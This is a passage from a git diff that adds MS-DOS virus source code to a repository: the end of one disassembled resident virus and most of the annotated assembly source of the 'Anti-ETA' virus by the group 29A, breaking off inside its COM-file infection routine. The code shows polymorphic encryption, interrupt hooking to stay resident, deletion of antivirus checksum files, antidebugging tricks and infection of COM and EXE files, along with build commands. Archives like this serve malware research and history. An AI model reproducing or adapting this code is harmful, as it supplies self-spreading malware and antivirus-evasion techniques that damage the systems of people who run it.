+;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_7 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_7 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_8 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + ret +sub_8 endp + + db 1Eh, 0E8h, 0, 0 + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_9 proc near + mov ax,4B4Dh + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_19 ; Jump if carry Set + jmp loc_29 +loc_19: + pop si + push si + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_40e[si],ax ; (701E:FDBD=0) + mov cs:data_41e[si],es ; (701E:FDBF=0) + les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr + mov cs:data_38e[di],bx ; (701E:FDB5=0) + mov cs:data_39e[di],es ; (701E:FDB7=0) + mov ax,ds:data_7e ; (0000:0102=0CC00h) + cmp ax,0F000h + jne loc_27 ; Jump if not equal + mov dl,80h + mov ax,ds:data_8e ; (0000:0106=326h) + cmp ax,0F000h + je loc_20 ; Jump if equal + cmp ah,0C8h + jb loc_27 ; Jump if below + cmp ah,0F4h + jae loc_27 ; Jump if above or = + test al,7Fh + jnz loc_27 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h) + jne loc_27 ; Jump if not equal + mov dl,ds:data_11e ; (0326:0002=70h) +loc_20: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_21: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_22 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_23 ; Jump if equal + jnz loc_24 ; Jump if not zero +loc_22: + cmp ax,0C2F6h + jne loc_25 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_24 ; Jump if not equal +loc_23: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_26 ; Jump if equal + sub si,3 +loc_24: + dec si + dec si +loc_25: + dec si + loop locloop_21 ; Loop if cx > 0 + + jmp short loc_27 +loc_26: + sub si,7 + mov cs:data_40e[di],si ; (701E:FDBD=0) + mov cs:data_41e[di],ds ; (701E:FDBF=0) +loc_27: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,41h + nop + jc loc_29 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,40h + stc ; Set carry flag + sbb es:data_14e,bx ; (06E3:0002=2342h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_13e,8 ; (06A1:0001=6220h) + call sub_7 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_7 + add ax,ds:data_15e ; (06E3:0006=2344h) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_28 ; Jump if carry Set + sub ds:data_15e,ax ; (06E3:0006=2344h) +loc_28: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,27Ah + mov cx,3F0h + inc cx + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_12e,5Ah ; (06A0:0000=65h) 'Z' + mov dx,140h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_3e,dx ; (0000:0084=6E3h) + mov ds:data_4e,es ; (0000:0086=161Ah) + sti ; Enable interrupts + dec byte ptr ds:data_9e ; (0000:047B=0) +loc_29: + pop si + cmp word ptr cs:data_33e[si],5A4Dh ; (701E:FD89=0) + jne loc_30 ; Jump if not equal + pop ds + mov ax,cs:data_37e[si] ; (701E:FDAB=0) + mov bx,cs:data_36e[si] ; (701E:FDA3=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_35e[si] ; (701E:FDA1=0) + push ds + pop es + call sub_8 + ret ; Return far +loc_30: + pop ax + mov ax,cs:data_33e[si] ; (701E:FD89=0) + mov cs:data_16,ax ; (701E:0100=73E9h) + mov ax,cs:data_34e[si] ; (701E:FD8B=0) + mov cs:data_17,ax ; (701E:0102=0C302h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_8 + ret +sub_9 endp + + +code_seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.antieta.asm b/MSDOS/Virus.MSDOS.Unknown.antieta.asm new file mode 100644 index 00000000..7313e04c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antieta.asm @@ -0,0 +1,2305 @@ +; +; ▄█████▄ ▄█████▄ ▄█████▄ +; Anti-ETA ███ ███ ███ ███ ███ ███ +; by GriYo/29A ▄▄▄██▀ ▀██████ ███████ +; ███▄▄▄▄ ▄▄▄▄███ ███ ███ +; ███████ ██████▀ ███ ███ +; +; Introduction +; ──────────── +; This virus is an iniciative of Mister Sandman (writing this right now) and +; GriYo, supported by the rest of the 29Aers and finally written by GriYo. +; +; Espaдa (Spain in english) is a country that emerged and took its final and +; actual form during the first years of the XVIth century. It was born from +; the conjunction of many other kingdoms/independent countries (ie Aragвn, +; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived +; (and fought) together in the actual spanish territory. This final union +; was possible by means of marriages between princes and princesses of these +; kingdoms, pacts, and, of course, wars -which became conquests-. +; +; Today, about four centuries later, a very little minority living in Euska- +; di (right now, one of the seventeen provinces in Spain) claim for their +; independence by means of violence. They don't hesitate on placing bombs in +; big stores, streets, cars, etc. thus causing the death of innocent people, +; or on killing policemen, politicians or anybody who just don't thinks the +; way they do. +; +; Luckily, many of these motherfuckers are arrested and put in prison far +; away from their home. Anyway, this has also become a problem, as they want +; to stay only in euskadian prisons, in order to be able to keep in contact +; with their family. This fact drove them to, apart from do more killings, +; kidnap an innocent young jailer, called JosВ Antonio Ortega Lara. +; +; They didn't ask for money. He was put underground in a very tiny and empty +; room, without any light, without any way to know when it dawns or when it +; gets dark, with very few oxygen to breath, with only some food every four +; days, served in the same receptacle where he had to shit and urinate. This +; is... without anything to do... except of waiting to be freed, and hoping +; that all the psychic tortures he was going submitted to were going to have +; an end some day. +; +; Happily, the spanish police found and freed him 532 days later. He had a +; long barb and 27kg less of his normal weight. But he eventually was able +; to see the light and walk (even talk) again. Today, JosВ Ortega Lara is +; still under psychical attention, carrying a normal life again. +; +; However, the reason to be of this virus takes place a few days later, when +; the euskadian violent-independentist group kidnapped Miguel Angel Blanco, +; a politician from a small town called Ermua, and threatened to kill him +; unless the spanish goverment would allow the approaching of the arrested +; terrorists to Euskadi in a 48-hour deadline. Since this was made public, +; millions of people went out to the street in order to show their inconfor- +; mity with this cruel way of acting. +; +; Sadly, none of the mass meetings which collapsed the whole Spain for 48 +; hours were enough, and Miguel Angel Blanco, the 28 year-old politician, +; was eventually killed by one of these terrorists by means of two bullets +; shot in his head. +; +; The name of this euskadian terrorist group is ETA, hence the name of this +; virus, Anti-ETA, offered as a homage to all the families which were vic- +; tims of the violent way of acting of these independentists, and especially +; to JosВ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP). +; +; 29A against terrorism, +; the 29A staff. +; +; +; Virus behavior +; ────────────── +;  Code executed when an infected file is run: +; +; - Polymorphic decryptor +; - CPU type check routine +; - Installation check +; - COMMAND.COM segment prefix search +; - Host allocated conventional memory reduction +; - Conventional memory order for installation +; - COMMAND.COM segment prefix activation as current PSP (this +; context change allows Anti-ETA to perform memory allocation +; calls without warning a good bunch of TSR watchdogs +; - Interrupt 22h hooking into host PSP (without modifying IVT) +; - Control return to host +; +;  Tasks performed by the int 22h handler: +; +; - Code decryption +; - Interrupt 3 (breakpoint) vector saving +; - Interrupt 3 hooking with the virus handler +; - Interrupt 28h (DOS idle interrupt that points to an iret +; instruction by default) vector order +; - First byte of current int 28h handler storing, instead of +; an int 3 instruction +; - Jump to the original int 22h +; +; Every time in which COMMAND.COM calls its idle interrupt, a +; breakpoint instruction gives the control to the interrupt 3 +; handler, owned by Anti-ETA. This handler will count the +; number of calls until it determines that it's safe to hook +; interrupt 21h. I stole the idea on using int 28h in such a +; way from Rhincewind (see Catch22 TSR loader), but this +; approach is much more enhanced ;) +; +;  Code executed from the idle interrupt: +; +; - Another decryption loop performance +; - First int 28h byte restoring +; - Interrupt 3 vector restoring +; - Virus body move to another memory block (including UMBs) +; - Old memory block release +; - Interrupt 21h hooking +; +; Encryption +; ────────── +; The main polymorphic decryptor receives the control when an infected file +; file is executed. On program termination, the virus int 22h handler recei- +; ves the control and decrypts the whole Anti-ETA body using the decryptor +; code as key. Another decryptor appears when execution reaches virus' int 3 +; handler from the previously redirected idle interrupt. +; +; Infection and activation routines are also encrypted in memory (using a +; random cipher key each time) and their code will be decrypted on the fly +; when necessary. +; +; +; Polymorphism +; ──────────── +; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files +; it sometimes may drop after having been called function 3bh of int 21h. +; +; +; File infection +; ────────────── +; When any file is executed, Anti-ETA just stores the file name and infects +; it upon termination, and same for open/close functions. +; +; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will +; be deleted (if they exist) in order to avoid getting caught by any kind of +; integrity checker. +; +; While infecting files, Anti-ETA uses standard DOS calls, checking for +; errors after each of them and without using any system file table (looking +; for some network compatibility). +; +; The virus tries to find the original int 21h entry point (using the 52h +; function backdoor), and uses it in all the file infection routines, thus +; bypassing many TSR watchdogs. +; +; Finally, the int 3 vector is redirected to the original int 21h EP, and +; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS +; function for infection. +; +; +; Retro functions +; ─────────────── +; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo- +; ry where a file is going to be infected. Apart from this, the virus con- +; tains some antidebugging code. +; +; +; Activation routines +; ─────────────────── +; On every call to the int 21h function 3bh (set current directory), the vi- +; rus will sometimes drop an infected COM file, with a random name and a +; random date/time stamp). Its size will be also random due to the polymor- +; phic encryption... and... btw, Anti-ETA will not infect its sons, just be- +; cause they're too small ;) +; +; The main payload effect triggers every july 10th (the date in which Miguel +; Angel Blanco was kidnapped), displaying a graphic that consists on a whi- +; te hand in which reads "Anti-ETA". The white hand is the symbol which we +; use in Spain to tell ETA "STOP THE KILLING!". +; +; +; Greetings +; ───────── +; This time, very special greetings go from the 29A staff to all the victims +; of ETA, hoping this will have an end some day in the future. +; +; +; Compiling it +; ──────────── +; tasm /m anti-eta.asm +; tlink anti-eta.obj + + +anti_eta segment + .386 + assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta + org 0000h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Some useful equates │ +;└──────────────────────────────────────────────────────────────────────────┘ + +mem_byte_size equ offset virus_mem_end - offset entry_point +mem_para_size equ (mem_byte_size+000Fh)/0010h +inf_byte_size equ offset virus_inf_end - offset entry_point +inf_para_size equ (inf_byte_size+000Fh)/0010h +byte_area01h equ offset end_area01h - offset crypt_area01h +byte_area02h equ offset end_area02h - offset crypt_area02h +byte_area03h equ offset end_area03h - offset crypt_area03h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus entry point for all targets (COM and EXE files) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +entry_point: push ds ; Save segment regs + push es + db 0BDh ; Get delta +delta: dw 0000h ; (mov bp,nnnn) + push cs ; Point DS to + pop ds ; our code + cli ; Check for 386+ + pushf ; CPU + pop ax + or ax,2000h + push ax + popf + pushf + pop ax + sti + test ax,2000h ; Exit if 286 + jz exit_install ; or below + mov esi,"ANTI" + mov ah,30h ; Get DOS version + int 21h ; and perform + cmp esi,"ETA!" ; installation + je exit_install ; check + cmp al,05h ; MS-DOS 5.0+ + jb exit_install ; check + + ; I found a problem using this method of residency + ; when the virus tries to go resident while a copy + ; of itself is waiting for enough DOS idle time. + ; + ; Fix: + ; + ; The virus can check if another copy of itself is + ; using the DOS idle interrupt. Just check for a + ; breakpoint in the first byte of int 28h. + + mov ax,3528h ; Get int 28h + int 21h ; vector + cmp byte ptr es:[bx],0CCh ; int 3? + je exit_install ; Yes, abort + mov ah,62h ; Get and save + int 21h ; active PSP + mov es,bx ; ES:SI -> host PSP + xor si,si + mov dx,bx ; Always DW=host PSP + + ; A new problem appears when an infected program + ; executes another file which is also infected. + ; + ; Fix: + ; + ; Get parent PSP and check the name of the MCB + ; behind. Go resident only if the command inter- + ; preter is the parent of the infected host. + + mov ax,word ptr es:[si+16h] ; Get parent PSP + mov di,ax + dec ax ; Get parent MCB + mov es,ax + cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB + jne exit_install + mov es,dx ; Get host PSP + mov ah,4Ah ; Get free memory + push ax + mov bx,0FFFFh + int 21h + pop ax + sub bx,mem_para_size+01h ; Sub some memory + int 21h ; for our code + jc exit_install + mov bx,di + mov ah,50h ; Activate command + int 21h ; PSP + jc exit_install + mov ah,48h ; Ask for memory + mov bx,mem_para_size + int 21h + mov es,ax ; Copy virus to + call move_virus ; allocated memory + push ds + mov ds,dx + xor si,si ; DS:SI -> host PSP + mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector, + mov dword ptr es:[old22h],eax ; save it and point + mov word ptr ds:[si+0Ah],offset my22h ; to our handle + mov word ptr ds:[si+0Ch],es + pop ds + mov bx,dx + mov ah,50h ; Now set host PSP + int 21h ; as current PSP + +exit_install: mov eax,dword ptr ds:[bp+host_type] + cmp eax,".COM" ; Is it a COM host? + je exit_com + cmp eax,".EXE" ; An EXE host? + je exit_exe + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Exit for 1st virus generation │ +;└──────────────────────────────────────────────────────────────────────────┘ + +exit_launcher: pop es ; Exit virus launcher + pop ds ; Restore segment + mov ax,4C00h ; regs and call to + int 21h ; terminate prog + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Exit from a COM file │ +;└──────────────────────────────────────────────────────────────────────────┘ + +exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first + mov dword ptr ds:[0100h],eax ; four bytes + pop es ; Restore segments + pop ds + push cs ; Save return address + push 0100h + xor ax,ax ; Clear some regs + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + mov bp,ax + retf + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Exit from an EXE file │ +;└──────────────────────────────────────────────────────────────────────────┘ + +exit_exe: mov ah,62h ; Get active PSP + int 21h + add bx,0010h ; Calculate host CS + add word ptr ds:[bp+exe_ip_cs+02h],bx + add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS + pop es ; Restore segments + pop ds + cli ; Fix program stack + mov ss,bx + mov sp,word ptr cs:[bp+old_header+10h] + sti + xor ax,ax ; Clear some regs + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + mov bp,ax + db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +exe_ip_cs dd 00000000h ; to host + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Move virus code to another memory location │ +;│ On entry: │ +;│ DS:BP -> current location │ +;│ ES -> new segment location │ +;└──────────────────────────────────────────────────────────────────────────┘ + +move_virus: sub di,di + mov si,bp + mov cx,inf_byte_size + cld + rep movsb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Insert/remove breakpoint into/from int 28h handler code (DOS idle) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +xchg28h: push di + push es + cli + les di,dword ptr cs:[old28h] ; Xchg int 28h + mov al,byte ptr es:[di] ; first byte + xchg al,byte ptr cs:[breakpoint] ; with out buffer + stosb + sti + pop es + pop di + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Some code and data out of all the sub-decryptors │ +;└──────────────────────────────────────────────────────────────────────────┘ + +old03h dd 00000000h ; Int 3 vector +crypt_leave21h: db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +old21h dd 00000000h ; to original int 21h +orig21h dd 00000000h ; DOS entry point +crypt_leave22h: db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +old22h dd 00000000h ; to original int 22h +old24h dd 00000000h ; Critical error +old28h dd 00000000h ; to original int 28h +breakpoint db 00h ; Int 28h 1st byte +host_type dd "CEPA" ; File type +crypt_delta dw 0000h ; Delta for decryptor + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Crypt/decrypt area 01h │ +;│ On entry: │ +;│ DS -> area 01h segment to crypt/decrypt │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypto01h: push bx + push es + push ds + pop es + mov si,word ptr cs:[crypt_delta] + add si,offset crypt_area01h + mov di,si + mov bx,offset crypto01h + mov cx,(byte_area01h+01h)/02h + cld +crypt_loop01h: lodsw + push ax + pop dx + cli + mov ax,0002h ; Simple stack + sub sp,ax ; verification + sti + pop ax + cmp ax,dx + jne crypt_loop01h ; Fool tracing + xor ax,word ptr cs:[bx] ; Use our code as key + stosw ; to avoid + inc bx ; modifications + cmp bx,offset exit_crypt01h + jne continue01h + mov bx,offset crypto01h +continue01h: loop crypt_loop01h + pop es + pop bx +exit_crypt01h: ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus int 22h handler │ +;└──────────────────────────────────────────────────────────────────────────┘ + +my22h: push cs ; Point DS to + pop ds ; virus code + mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt + mov eax,dword ptr ds:[host_type] ; Launcher doesn't + cmp eax,"CEPA" ; need decryption + je skip_area01h + call crypto01h ; Do decryption +crypt_area01h equ this byte +skip_area01h: db 0EBh,00h ; Clear prefetch + mov al,03h ; Save old int 3 + call get_int ; vector + mov word ptr ds:[old03h],bx + mov word ptr ds:[old03h+02h],es ; Hook int 3 to + mov dx,offset my03h ; our int 21h + call set_int ; Hooking routine + mov al,28h ; Save int 28h + call get_int ; vector and + mov word ptr ds:[old28h],bx ; insert an int 3 + mov word ptr ds:[old28h+02h],es ; instruction over + mov byte ptr ds:[breakpoint],0CCh ; the handler code + call xchg28h +exit22h: jmp crypt_leave22h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Crypt/decrypt area 02h │ +;│ On entry: │ +;│ DS -> segment of area 02h to crypt/decrypt │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypto02h: push es + push ds + pop es + mov si,word ptr cs:[crypt_delta] + add si,offset crypt_area02h + mov di,si + mov cx,(byte_area02h+02h)/02h + cld +crypt_loop02h: lodsw + xchg ah,al + stosw + loop crypt_loop02h + pop es + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus int 3 handler (called on every int 28h call) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +my03h: call push_all ; Save all regs + push cs ; Point DS to + pop ds ; virus code + mov eax,dword ptr ds:[host_type] ; Launcher doesn't + cmp eax,"CEPA" ; need decryption + je skip_area02h + call crypto02h ; Do decryption + db 0EBh,00h ; Clear prefetch +skip_area02h: call xchg28h ; Remove breakpoint + mov si,mem_para_size ; Allocate memory + call mem_alloc + or di,di ; Exit if error + jz cant_move_it ; on mem allocation + push di + mov es,di ; Copy virus to + sub bp,bp ; memory + call move_virus ; Continue execution + push offset continue_here ; at newly allocated + retf ; memory block +continue_here: mov ah,49h ; Free old virus + push ds ; memory + pop es + int 21h +cant_move_it: mov al,03h ; Restore int 3 + lds dx,dword ptr cs:[old03h] + call set_int + push cs + pop ds + mov ax,3521h ; Get and save + int 21h ; current int 21h + mov word ptr ds:[old21h],bx + mov word ptr ds:[old21h+02h],es + mov word ptr ds:[orig21h],bx + mov word ptr ds:[orig21h+02h],es + mov ah,52h ; Use this backdoor + int 21h ; to get int 21h + mov bx,109Eh ; kernel entry point + cmp word ptr es:[bx],9090h + jne no_backdoor + cmp byte ptr es:[bx+02h],0E8h + jne no_backdoor + cmp word ptr es:[bx+05h],0FF2Eh + jne no_backdoor + mov word ptr ds:[orig21h],bx + mov word ptr ds:[orig21h+02h],es + + ; Function 52h (get ptr to dos info block) returns + ; in ES the segment of the DOS entry point. Offset + ; seems to be always 109eh in lots of machines. + ; + ; Anti-ETA will check if the code looks like: + ; + ; nop -> 90h + ; nop -> 90h + ; call xxxx -> E8h xx xx + ; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy + +no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs + cmp eax,"CEPA" ; encryption + jne skip_area03h + call crypto03h +skip_area03h: mov ax,2521h ; Point int 21h + mov dx,offset my21h ; to our handler + int 21h +exit03h: call pop_all ; Restore saved regs + pushf + call dword ptr cs:[old28h] + cli ; Fix stack + add sp,0006h ; and return to + sti ; int 28h caller + iret +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption over area 03h (int 21h code) │ +;│ On entry: │ +;│ DS -> segment of area 03h to crypt/decrypt │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_area02h equ this byte +crypto03h: db 0EBh,00h ; Clear prefetch + push si ; Save some + push di ; regs and + push es ; perform +short_way: push ds ; encryption + pop es ; using add + mov si,word ptr cs:[crypt_delta] ; instruction + add si,offset crypt_area03h + mov di,si + mov cx,(byte_area03h+01h)/02h + cld + db 0EBh,00h ; Clear prefetch +crypt_loop03h: lodsw + db 05h ; add ax,xxxx +crypt21h_key dw 029Ah + stosw + loop crypt_loop03h + pop es + pop di + pop si + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Decrypt virus int 21h code if needed │ +;└──────────────────────────────────────────────────────────────────────────┘ + +rm_crypt21h: mov ax,cs ; Remove int 21h + mov ds,ax ; encryption + mov es,ax ; using sub + mov si,offset crypt_area03h ; instruction + mov di,si + mov cx,(byte_area03h+01h)/02h + cld + db 0EBh,00h ; Clear prefetch +clear21h: lodsw + db 2Dh ; sub ax,xxxx +decrypt21h_key dw 029Ah + stosw + loop clear21h + call rand_16 + mov word ptr ds:[crypt21h_key],ax ; Get random key + mov word ptr ds:[decrypt21h_key],ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus int 21h handler │ +;└──────────────────────────────────────────────────────────────────────────┘ + +my21h: cmp ah,30h ; Install check? + je install_check + cmp ah,3Bh ; Change directory + jne try_get_name + call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + jmp try_activation +try_get_name: cmp ax,4B00h ; Execution? + je work_filename + cmp ah,3Dh ; Open? + je work_filename + cmp ah,6Ch ; Extended open? + jne try_infection +work_filename: call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + call pop_all ; Restore regs + call push_all ; and save them again + jmp store_filename ; Copy filename +try_infection: cmp ax,4C00h ; Terminate? + je work_infection + cmp ah,3Eh + jne forget_this +work_infection: call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + call pop_all ; Restore regs + call push_all ; and save them again + jmp infect_program +forget_this: jmp crypt_leave21h +exit21h: push cs ; Redo encryption + pop ds ; before leaving + call crypto03h + call pop_all ; Restore regs + jmp crypt_leave21h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Perform a call to the original int 21h vector │ +;└──────────────────────────────────────────────────────────────────────────┘ + +call21h: pushf ; Perform a call to + call dword ptr cs:[orig21h] ; the interrupt 21h + retf 02h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Installation check │ +;└──────────────────────────────────────────────────────────────────────────┘ + +install_check: cmp esi,"ANTI" ; Is it our check? + je reponde_cabron + jmp crypt_leave21h +reponde_cabron: pushf ; Interrupt 21h + call dword ptr cs:[old21h] + mov esi,"ETA!" ; I am here!!! + iret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Store name of the file to execute │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_area03h equ this byte +store_filename: db 0EBh,00h ; Clear prefetch + cmp ah,6Ch ; Extended open? + je is_extended + mov si,dx +is_extended: push cs + pop es + cmp ah,4Bh ; Execute? + jne use_openbuff + mov di,offset exec_filename ; File to execute + jmp ok_buff_off +use_openbuff: mov di,offset open_filename ; File to open +ok_buff_off: push di + mov ah,60h ; Get complete + int 21h ; filename + push cs + pop ds + call hook_24h_03h + pop si + mov dx,offset del_this_shit01 ; Delete Thunderbyte + call delete_file ; ANTI-VIR.DAT files + mov dx,offset del_this_shit02 ; And CHKLIST.MS shit + call delete_file + call free_24h_03h + jmp exit21h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ File infection │ +;└──────────────────────────────────────────────────────────────────────────┘ + +infect_program: db 0EBh,00h ; Clear prefetch + push cs + pop ds + call hook_24h_03h + cmp ah,4Ch ; Terminate? + jne infect_close + mov si,offset exec_filename ; Filename off to SI + jmp ok_infect_off +infect_close: mov si,offset open_filename ; Filename off to SI +ok_infect_off: mov ah,19h ; Get current drive + int 03h + add al,"A" + cmp byte ptr ds:[si],al ; Infect files only + jne exit_inf ; in current drive + mov bx,si ; Position of \ + mov dx,si ; For later use + mov cx,0080h ; Max path + cld +next_char: lodsb ; Get character + cmp al,"\" + je found_slash + or al,al ; End of string? + je found_00h + cmp al,"V" ; Is char a V? + je exit_inf + cmp al,"0" ; Is char a digit? + jb ok_character + cmp al,"9" + jbe exit_inf +ok_character: loop next_char + jmp short exit_inf +found_slash: mov bx,si + jmp short ok_character +found_00h: mov eax,dword ptr ds:[bx] ; Get file name + cmp ax,"BT" ; Thunderbyte utils? + je exit_inf + cmp eax,"NACS" ; SCAN.EXE? + je exit_inf + cmp eax,".NIW" ; WIN.COM? + je exit_inf + cmp eax,"MMOC" ; COMMAND.COM? + je exit_inf + mov eax,dword ptr ds:[si-05h] ; Get extension + cmp eax,"MOC." ; Is it a COM file? + je go_into_file + cmp eax,"EXE." ; What about EXE? + je go_into_file +exit_inf: call free_24h_03h ; Restore ints + jmp exit21h ; 3, 24h and exit +go_into_file: mov ax,4300h ; Get file attrib + int 03h + jc exit_inf + mov word ptr ds:[file_attr],cx ; Save it + mov ax,4301h ; Clear attributes + xor cx,cx + int 03h + jc exit_inf + mov ax,3D02h ; Open file r/w + int 03h + jnc save_date_time +file_error_1: mov ax,4301h ; Restore saved + mov cx,word ptr ds:[file_attr] ; file attribute + int 03h + jmp short exit_inf +save_date_time: xchg bx,ax ; Get handle + mov ax,5700h ; Get date/time + int 03h + jnc done_date_time +file_error_2: mov ah,3Eh ; If error, close + int 03h ; file and restore + jmp short file_error_1 ; attribute +done_date_time: mov word ptr ds:[file_time],cx ; Save file time + mov word ptr ds:[file_date],dx ; Save file date + and cl,1Fh ; Check if file is + cmp cl,0Ah ; already infected + je file_error_3 + mov ah,3Fh ; Read file header + mov cx,001Ch + mov dx,offset inf_header + mov si,dx + int 03h + jc file_error_3 + call seek_end ; Seek to EOF and + jc file_error_3 ; get file size + mov ax,word ptr ds:[file_size] + mov dx,word ptr ds:[file_size+02h] + or dx,dx + jnz ok_min_size + cmp ax,inf_byte_size ; Too small file? + jb file_error_3 +ok_min_size: mov ax,word ptr ds:[si] + add al,ah + cmp al,"M"+"Z" + je inf_exe_file + jmp inf_com_file +file_error_3: mov ax,5701h + mov cx,word ptr ds:[file_time] ; Restore time + mov dx,word ptr ds:[file_date] ; And date + int 03h + jmp file_error_2 + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Infect COM files │ +;└──────────────────────────────────────────────────────────────────────────┘ + +inf_com_file: or dx,dx ; Huh? this COM + jnz file_error_3 ; file is strange... + mov ax,word ptr ds:[file_size] ; Avoid too big COM + cmp ax,0FFFFh-(inf_byte_size+02h) ; files + jae file_error_3 + call backup_header ; Save header + sub ax,03h ; Write a jump + mov byte ptr ds:[si+00h],0E9h ; to the viral code + mov word ptr 